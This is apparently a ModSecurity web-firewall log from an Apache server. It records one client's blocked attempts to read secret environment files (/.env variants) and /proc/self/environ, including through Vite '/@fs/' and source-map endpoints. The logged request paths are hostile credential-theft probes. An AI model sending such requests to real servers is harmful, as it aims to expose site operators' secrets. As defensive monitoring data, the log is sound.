[Sun Oct 25 15:18:10.625047 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8mosA4aMF_N5SapqCgAAACA"]
[Sun Oct 25 15:18:10.648142 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8mosA4aMF_N5SapqCgAAACA"]
[Sun Oct 25 15:18:10.648388 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8mosA4aMF_N5SapqCgAAACA"]
[Sun Oct 25 15:18:10.625115 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSAAAACU"]
[Sun Oct 25 15:18:10.650168 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSQAAACU"]
[Sun Oct 25 15:18:10.650649 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSQAAACU"]
[Sun Oct 25 15:18:10.650884 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSQAAACU"]
[Sun Oct 25 15:18:10.598226 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5V8sHtCHxafx9iqY1IUQAAADI"]
[Sun Oct 25 15:18:10.699140 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5V8sHtCHxafx9iqY1IUQAAADI"]
[Sun Oct 25 15:18:10.699689 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5V8sHtCHxafx9iqY1IUQAAADI"]
[Sun Oct 25 15:18:10.867756 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:60890] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5V8owDu057d6NMEpKgYgAAAC0"]
[Sun Oct 25 15:18:10.868500 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:60890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5V8owDu057d6NMEpKgYgAAAC0"]
[Sun Oct 25 15:18:10.868753 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:60890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5V8owDu057d6NMEpKgYgAAAC0"]
[Sun Oct 25 15:18:11.241492 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V82osA4aMF_N5SapqCwAAACA"]
[Sun Oct 25 15:18:11.241894 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V82osA4aMF_N5SapqCwAAACA"]
[Sun Oct 25 15:18:11.242131 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V82osA4aMF_N5SapqCwAAACA"]
[Sun Oct 25 15:18:11.382774 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V83Xh3gJECtnR93iQbQAAABU"]
[Sun Oct 25 15:18:11.581988 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V83Xh3gJECtnR93iQbQAAABU"]
[Sun Oct 25 15:18:11.582373 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V83Xh3gJECtnR93iQbQAAABU"]
[Sun Oct 25 15:18:11.386670 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V88HtCHxafx9iqY1IUgAAADI"]
[Sun Oct 25 15:18:11.583093 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V88HtCHxafx9iqY1IUgAAADI"]
[Sun Oct 25 15:18:11.583454 2026] [security2:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V88HtCHxafx9iqY1IUgAAADI"]
[Sun Oct 25 15:18:11.387445 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8-NFKka2-rJ01WB_AwAAAAk"]
[Sun Oct 25 15:18:11.584172 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8-NFKka2-rJ01WB_AwAAAAk"]
[Sun Oct 25 15:18:11.584527 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8-NFKka2-rJ01WB_AwAAAAk"]
[Sun Oct 25 15:18:11.388207 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V8-iJA1fzv0ndEdTr6gAAACM"]
[Sun Oct 25 15:18:11.584986 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V8-iJA1fzv0ndEdTr6gAAACM"]
[Sun Oct 25 15:18:11.585275 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V8-iJA1fzv0ndEdTr6gAAACM"]
[Sun Oct 25 15:18:11.388955 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V8yKKYgNzbRNd-8H8zgAAABk"]
[Sun Oct 25 15:18:11.589732 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V8yKKYgNzbRNd-8H8zgAAABk"]
[Sun Oct 25 15:18:11.590022 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V8yKKYgNzbRNd-8H8zgAAABk"]
[Sun Oct 25 15:18:11.389721 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V85Yw3jZlk1xcjz4TRwAAADA"]
[Sun Oct 25 15:18:11.590403 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V85Yw3jZlk1xcjz4TRwAAADA"]
[Sun Oct 25 15:18:11.590710 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V85Yw3jZlk1xcjz4TRwAAADA"]
[Sun Oct 25 15:18:11.390463 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V8-zMmhRmOL7WSQVFSgAAACU"]
[Sun Oct 25 15:18:11.749608 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V8-zMmhRmOL7WSQVFSgAAACU"]
[Sun Oct 25 15:18:11.749950 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5V8-zMmhRmOL7WSQVFSgAAACU"]
[Sun Oct 25 15:18:11.391228 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:60676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V87quaiXZVBY6UkKgqwAAAA4"]
[Sun Oct 25 15:18:11.392034 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V80EcNhfmEEfjyh7vngAAACI"]
